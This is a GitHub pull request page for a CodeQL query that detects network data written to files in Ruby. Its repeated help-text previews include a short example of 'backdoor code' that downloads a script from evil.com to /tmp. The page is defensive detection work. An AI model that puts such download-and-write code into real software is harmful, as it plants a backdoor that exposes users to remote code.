-
Notifications
You must be signed in to change notification settings - Fork 1.7k
Ruby: Add rb/http-to-file-access query #8224
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
195e412
to
b26878b
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
1 similar comment
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
6d93670
to
2fb801c
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
f900500
to
5f1ebd5
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
5f1ebd5
to
3af2c21
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
8571717
to
41a42fb
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
1 similar comment
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
JS 👍
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
LGTM aside from small merge conflicts - sorry for taking so long to review this.
ruby/ql/lib/codeql/ruby/Concepts.qll
Outdated
/** | ||
* Gets a string that describes the type of this input. | ||
* | ||
* This is typically the name of the method that gives rise to this input. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
* This is typically the name of the method that gives rise to this input. | |
* This is typically the name of the method that gives rise to this input. |
ruby/ql/lib/codeql/ruby/Concepts.qll
Outdated
/** | ||
* Gets a string that describes the type of this input. | ||
* | ||
* This is typically the name of the method that gives rise to this input. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
* This is typically the name of the method that gives rise to this input. | |
* This is typically the name of the method that gives rise to this input. |
346abf9
to
e148de6
Compare
e521f88
to
77bc75f
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
Sorry if you got pinged by this - I briefly pulled in some unrelated commits and the bots had a field day. |
77bc75f
to
b26ddda
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
JS 👍
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
LGTM
This sits in between RemoteFlowSource and specific classes like ParamsSource from ActionController. It represents any user-controller input from an incoming HTTP request. This more closely aligns our concepts with the JS library, and allows us to specifically target sources from HTTP requests in the HttpToFileAccess query.
Only consider sources from HTTP requests, rather than any remote flow source.
There's so little in this query that it may not be worth sharing, but it's an interesting exercise in figuring out how we do it nicely.
b26ddda
to
b1ae548
Compare
QHelp previews: ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelpNetwork data written to fileStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. RecommendationExamine the highlighted code closely to ensure that it is behaving as intended. ExampleThe following example shows backdoor code that downloads data from the URL require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body) Other parts of the program might then assume that since References
|
@alexrford thanks the patient re-reviews! The dismiss-reviews-on-rebase behaviour is such a pain 😒 |
This is a direct port of the JS version. I've ported the concept
RequestInputAccess
from JS, which we didn't already have an equivalent for. I've also directly sharedHttpToFileAccessQuery
andHttpToFileAccessCustomizations
between Ruby and JS. Language-specific imports and some classes that extend differently-named concepts have been moved toHttpToFileAccessSpecific
.